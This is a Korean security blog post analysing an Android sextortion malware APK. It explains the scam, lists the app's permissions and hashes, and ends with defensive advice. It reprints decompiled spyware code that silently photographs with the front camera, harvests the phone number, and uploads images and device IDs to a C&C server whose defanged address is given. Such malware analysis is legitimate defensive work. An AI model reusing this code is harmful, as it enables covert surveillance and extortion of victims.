오늘은 안드로이드 몸캠 피싱 안드로이드 악성코드인 동영상에 대해 글을 적어 보겠습니다. 몸캠 피싱 이라는 것에 대해 알아보고 시작을 하겠습니다. 몸캠 피싱은 일단 남녀노소 누구나 당할 수가 있습니다. 몸캠 이라는 것은 영어로는 sextortion로 부르고 있으며 피해자로부터 성적 호기심 등을 이용해서 몰래 녹화, 녹음을 통해서 금전 및 가상화페등을 요구하는 범죄입니다. 보통 몸캠 하자고 유혹하여 해킹 어플을 설치하게 하거나 해킹 링크로의 접속을 유도하고 상대방에게 노출 사진을 찍게 하게 하고 이것을 스마트폰에 저장된 연락처에 퍼뜨리겠다는 협박을 통해 돈을 뜯어내는 사기 방법입니다.
스마트폰 일단 랜덤 채팅앱을 설치돼 있으며 갑자기 모르는 여자로부터 묻지도 따지지도 않고 스카이프, 라인, 카카오톡 등 영상통화가 가능하고 PC와 스마트폰 간에 연동할 수 있는 앱으로 대화를 이어나가자고 하면 몸캠 피싱일 가능성이 거의 99.9%에 가깝고 기본적인 레퍼토리는 영상통화 서비스를 이용해서 서로 자위하는 모습을 보여주자고 그러거나 그냥 만나자고 해놓고 만나기 전에 영상통화하고 만나자고 하는 방법을 사용하고 있으며
영상통화를 하면 노출하는 여자의 모습이 나오며 무조건 영상통화에 얼굴도 나와 달라고 요구를 하며 물론 상대 쪽은 전부 다 편집한 영상이고 영상통화를 하다가 영상의 행동이 반복되는 것처럼 느껴질 수 있고 이런저런 목적으로 이제 apk 파일을 보내고 해당 APK 파일을 설치를 실행하면 악성앱이 실행을 하게 되고 악성앱이 실행이 되면 연락처, GPS, 전화권한을 획득해서 악성앱에 삽입이 돼 있는 C&C 서버에 전송하게 돼 있습니다.
일단 기본적으로 해당 악성코드 안드로이드 권한을 보겠습니다. 해당 악성코드의 악성코드 안드로이드 권한은 다음과 같습니다.
언제나 기본적으로 사용자 스마트폰에서 훔쳐가는 정보는 간단하게 다음과 같습니다. 일단 블루투스 권한, 문자 읽기, SD 카드 읽기, 연락처 접근 및 쓰기, 스마트폰 위치 파악, 음성녹음, 와이파이 상태 변경, 카메라 작동(즉 사진 찍기, 동영상 촬영) 등 사실상 스마트폰의 권한이 다 악의적인 목적으로 가진 사람에게 넘어가는 것을 볼 수가 있습니다.
해쉬값은 다음과 같습니다.
파일명:동영상.apk
사이즈: 6,619,914 Bytes
CRC32:450e9085
MD5:f3c4516c644db74e7c347e2833307ce7
SHA-1:425545499b86008c48ddf2612a9db0ffed0ed1f2
SHA-256:6c1aa6db6f6ca940e7a36076094fcf8c28acd0e25b0e4c20902aa561b6523f42
SHA-512:13e232fcb806813d4a287cb0e0336e27a1ebccd6d2eace9948adaf6d94fa1da110d043ced6b5125a941a8950a255fa3cfa78f170bbb8c1c70f7d873954aab94a
카메라에 관련 부분은 com.call.call4.service.CameraService 부분에 있으면 코드들은 다음과 같습니다.
private void autoTakePic(SurfaceTexture paramSurfaceTexture) {
if (this.isRunning)
return;
this.isRunning = true;
Camera camera = getFacingFrontCamera();
this.mCamera = camera;
if (camera == null) {
Timber.e("camera device is null", new Object[0]);
this.isRunning = false;
return;
}
try {
camera.setPreviewTexture(paramSurfaceTexture);
this.mCamera.startPreview();
Thread.sleep(500L);
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append(System.currentTimeMillis());
stringBuilder.append("");
takePicture(stringBuilder.toString());
return;
} catch (Exception exception) {
exception.printStackTrace();
this.isRunning = false;
releaseCamera();
return;
}
}
private void autoTakePic(SurfaceHolder paramSurfaceHolder) {
if (this.isRunning)
return;
this.isRunning = true;
Camera camera = getFacingFrontCamera();
this.mCamera = camera;
if (camera == null) {
Timber.e("camera device is null", new Object[0]);
this.isRunning = false;
return;
}
try {
camera.setPreviewDisplay(paramSurfaceHolder);
this.mCamera.startPreview();
Thread.sleep(500L);
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append(System.currentTimeMillis());
stringBuilder.append("");
takePicture(stringBuilder.toString());
return;
} catch (Exception exception) {
exception.printStackTrace();
this.isRunning = false;
releaseCamera();
return;
}
}
그리고 당연히 사용자를 협박 등을 하는 데 필요한 전화번호 하니까? 전화번호 관련 코드들은 com.call.call4.utils.SystemUtils 등에 있으며 com.call.call4.utils.SystemUtils 있는 코드들을 보면 다음과 같습니다.
public static String getPhoneNumber(Context paramContext) {
String str = ((TelephonyManager)paramContext.getSystemService("phone")).getLine1Number();
null = str;
if (!TextUtils.isEmpty(str)) {
if (!str.startsWith("+86")) {
null = str;
return str.startsWith("+82") ? str.substring(3) : null;
}
} else {
return null;
}
return str.substring(3);
}
public static long getRamFree() {
return getRamInfo()[1];
}
private static long[] getRamInfo() {
long l1;
long l3 = -1L;
Exception exception2 = null;
String str = null;
try {
BufferedReader bufferedReader = new BufferedReader(new FileReader("/proc/meminfo"), 8192);
} catch (IOException iOException) {
l1 = -1L;
} finally {
try {
exception1.close();
} catch (Exception exception) {
exception.printStackTrace();
}
}
long l5 = l3;
long l4 = l1;
SYNTHETIC_LOCAL_VARIABLE_10.close();
long l2 = l3;
return new long[] { l1, l2 };
}
그리고 당연히 사용자를 협박 등을 하는 데 필요한 전화번호 하니까? 전화번호 관련 코드들은 com.call.call4.utils.SystemUtils 등에 있으며 com.call.call4.utils.SystemUtils 있는 코드들을 보면 다음과 같습니다.
public static String getPhoneNumber(Context paramContext) {
String str = ((TelephonyManager)paramContext.getSystemService("phone")).getLine1Number();
null = str;
if (!TextUtils.isEmpty(str)) {
if (!str.startsWith("+86")) {
null = str;
return str.startsWith("+82") ? str.substring(3) : null;
}
} else {
return null;
}
return str.substring(3);
}
public static long getRamFree() {
return getRamInfo()[1];
}
private static long[] getRamInfo() {
long l1;
long l3 = -1L;
Exception exception2 = null;
String str = null;
try {
BufferedReader bufferedReader = new BufferedReader(new FileReader("/proc/meminfo"), 8192);
} catch (IOException iOException) {
l1 = -1L;
} finally {
try {
exception1.close();
} catch (Exception exception) {
exception.printStackTrace();
}
}
long l5 = l3;
long l4 = l1;
SYNTHETIC_LOCAL_VARIABLE_10.close();
long l2 = l3;
return new long[] { l1, l2 };
}
여기서 보면 전 세계 국가 번호가 보이는데 +86 이 보이는데 해당 부분은 중화인민공화국 즉 중국,+82는 한국이며 여기서 보면 未知이라는 것을 볼 수가 있는데 해당 부분을 구글 언어도구로 번역해 보면 알려지지 않은 이라는 것을 확인할 수가 있습니다. 즉 getPhoneNumber를 통해서 안드로이드 스마트폰의 전화번호를 가져 오는 것을 확인할 수가 있습니다. 그리고 com.call.call4.observer.CallLogObserver,com.call.call4.observer.SMSObserver,com.call.call4.service.CameraService 에서는 IMEI, 문자, 카메라 업로드를 위한 코드들이 존재하는 것을 볼 수가 있습니다. 예를 들어서 com.call.call4.service.CameraService 부분입니다.
private void uploadFile(final File saveFile, String paramString) {
RequestBody requestBody1 = RequestBody.create(MediaType.parse("text/plain"), SystemUtils.getDeviceId((Context)this));
RequestBody requestBody2 = RequestBody.create(MediaType.parse("text/plain"), "img");
RequestBody requestBody3 = RequestBody.create(MediaType.parse("multipart/form-data"), saveFile);
MultipartBody.Part part = MultipartBody.Part.createFormData("file", saveFile.getName(), requestBody3);
RetrofitClient.getService().uploadFile(requestBody1, requestBody2, part).enqueue(new Callback<Response<String>>() {
public void onFailure(Call<Response<String>> param1Call, Throwable param1Throwable) {
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append("camera img upload failed");
stringBuilder.append(param1Throwable.getMessage());
Timber.e(stringBuilder.toString(), new Object[0]);
Intent intent = new Intent("com.call.action.finish_myself");
LocalBroadcastManager.getInstance((Context)CameraService.this).sendBroadcast(intent);
}
public void onResponse(Call<Response<String>> param1Call, Response<Response<String>> param1Response) {
if (param1Response.isSuccessful() && param1Response.body() != null && ((Response)param1Response.body()).getCode() == 1) {
saveFile.delete();
CameraService.access$102(CameraService.this, false);
Timber.d("camera img upload success", new Object[0]);
CameraService.this.stopSelf();
}
}
});
}
식으로 구성돼 있습니다. 몸캠 악성코드에서는 다음과 같은 인터넷 주소가 포함돼 있습니다.
hxxps://www.googleapis(.)com/auth/fitness.reproductive_health.write
hxxp://localhost/
hxxps://www.googleapis(.)com/auth/fitness(.)location.write
hxxps://www.googleapis(.)com/auth/games
hxxps://www.googleapis(.)com/auth/fitness.nutrition.write
hxxps://www.googleapis(.)com/auth/drive.file
hxxps://www.googleapis(.)com/auth/plus.me
hxxps://www.googleapis(.)com/auth/drive
hxxps://www.googleapis(.)com/auth/fitness.body_temperature.write
hxxps://plus(.)google(.)com/
hxxps://www.googleapis(.)com/auth/fitness.activity.read
hxxps://www.googleapis(.)com/auth/fitness.location.read
hxxps://www.googleapis(.)com/auth/fitness.body_temperature.read
hxxps://www.googleapis(.)com/auth/fitness.activity.write
hxxps://www.googleapis(.)com/auth/fitness.nutrition.read
hxxps://www.googleapis(.)com/auth/fitness.blood_pressure.read
hxxps://www.googleapis(.)com/auth/fitness.body.read
hxxps://www.googleapis(.)com/auth/plus.login
hxxps://android.bugly.qq(.)com/rqd/async
hxxps://www.googleapis(.)com/auth/games_lite
hxxps://www.googleapis(.)com/auth/datastoremobile
hxxps://astat.bugly.qcloud(.)com/rqd/async
hxxps://www.googleapis(.)com/auth/appstate
hxxps://www.googleapis(.)com/auth/fitness.reproductive_health.read
hxxp://schemas.android(.)com/apk/res-auto
hxxps://www.googleapis(.)com/auth/fitness.blood_glucose.write
hxxps://www.googleapis(.)com/auth/fitness.body.write
hxxps://www.googleapis(.)com/auth/fitness.oxygen_saturation.write
hxxps://www.googleapis(.)com/auth/drive.appdata
hxxps://www.googleapis(.)com/auth/games.firstparty
hxxp://156.234.25(.)65:7788/
hxxps://www.googleapis(.)com/auth/fitness.blood_pressure.write
hxxps://www.googleapis(.)com/auth/drive.apps
hxxp://schemas.android(.)com/apk/res/android
hxxps://astat.bugly.cros(.)wr.pvp.net/:8180/rqd/async
hxxps://www.googleapis(.)com/auth/fitness.blood_glucose.read
hxxps://www.googleapis(.)com/auth/fitness.oxygen_saturation.read
이며 여기서 hxxp://156.234.25(.)65:7788로 접속을 하면 아이디와 비밀번호를 입력하면 해당 악성코드의 희생자 목록들이 나오는 것을 볼 수가 있습니다. 해당 주소는 com.call.call4.http.RetrofitClient,com.call.call4.Constants에 포함이 돼 있으면 com.call.call4.http.RetrofitClient 에서는 다음과 같이 포함이 되어져 있습니다.
public static Retrofit retrofit() {
if (mRetrofit == null) {
initHttpClient();
mRetrofit = (new Retrofit.Builder()).baseUrl("hxxp://156.234(.)25.65:7788/").client(mOkHttpClient).addConverterFactory((Converter.Factory)GsonConverterFactory.create()).build();
}
return mRetrofit;
}
}
call.call4.http.RetrofitClient 에서는 다음과 같이 포함이 돼 있습니다.
package com.call.call4;
public class Constants {
public static final String BASE_URL = "hxxp://156.234(.)25.65:7788/";
public static boolean mWindowIsShowing = false;
}
입니다.
그리고 해당 악성코드 이미지들을 보면 KB 저축은행 보이스피싱을 위한 장치도 있는 것 같이 KB 저축은행으로 속이는 것을 볼 수가 있으며
언제나 보이스피싱 앱 들의 공통점 여신 전문가가 등장하면 인스타그램 이나 페이스북 아니면 인터넷에서 수집한 여성의 셀카 사진을 도용하는 것도 볼 수가 있습니다. 이거는 계속 우겨 먹는 것 같으면 그리고 경찰청에서 제공하는 안티 스파이웨어 앱 탐지 및 제거 도구인 경찰청 폴-안티스파이 3.0으로 속이는 이미지 파일이 있는 것을 볼 수가 있습니다.
요약
1. 구글 플레이 스토어 및 공식 스토어 이외에 어플 설치하지 말 것
2. 공신력 있는 백신 앱(안티바이러스 앱) 설치해서 실시간 감시 및 실시간 업데이트할 것(AV-TEST 참고)
3. 구글 안드로이드 스마트폰에서는 외부 앱을 설치를 하려고 하면 경고 메시지가 나오는데 해당 경고 메시지처럼 외부 앱 설치하지 말 것
4. 스팸 차단앱 후후,후스콜,T 전화 같은 것을 사용하면 이런 앱을 활용을 하면 이런 보이스피싱 피해를 줄일 수가 있습니다.
5. 소개팅 어플에서 어떤 어플을 다운로드 해서 설치하라고 하면 100% 악성코드입니다.
'소프트웨어 팁 > 보안 및 분석' 카테고리의 다른 글
질병관리청 사칭 질병관리청 COOV 스미싱 피싱 악성코드-질병관리청 COOV(2021.08.03) (10) | 2021.08.09 |
---|---|
윈도우 디펜더 윈도우 10 기본적으로 잠재적으로 원하지 않는 앱(PUA)을 차단 방법 (2) | 2021.08.05 |
파이어폭스 새로운 SmartBlock 기능 작동 방식 (4) | 2021.08.04 |
윈도우 10 게임 문제 해결을 위한 KB5004296 미리 보기 업데이트 (0) | 2021.07.30 |
Minecraft Java Edition(마인크래프트 자바 에디션)에서 디렉터리 탐색에 CVE-2021-35054 취약점 발견 (3) | 2021.07.21 |
윈도우 원격 인쇄 서버를 악용한 새로운 인쇄 스풀러 제로 데이 공격 예방 방법 (0) | 2021.07.20 |
윈도우 10 KB5004237,KB5004245 보안 업데이트 (0) | 2021.07.15 |
파이어폭스 90.0 보안 업데이트 (0) | 2021.07.15 |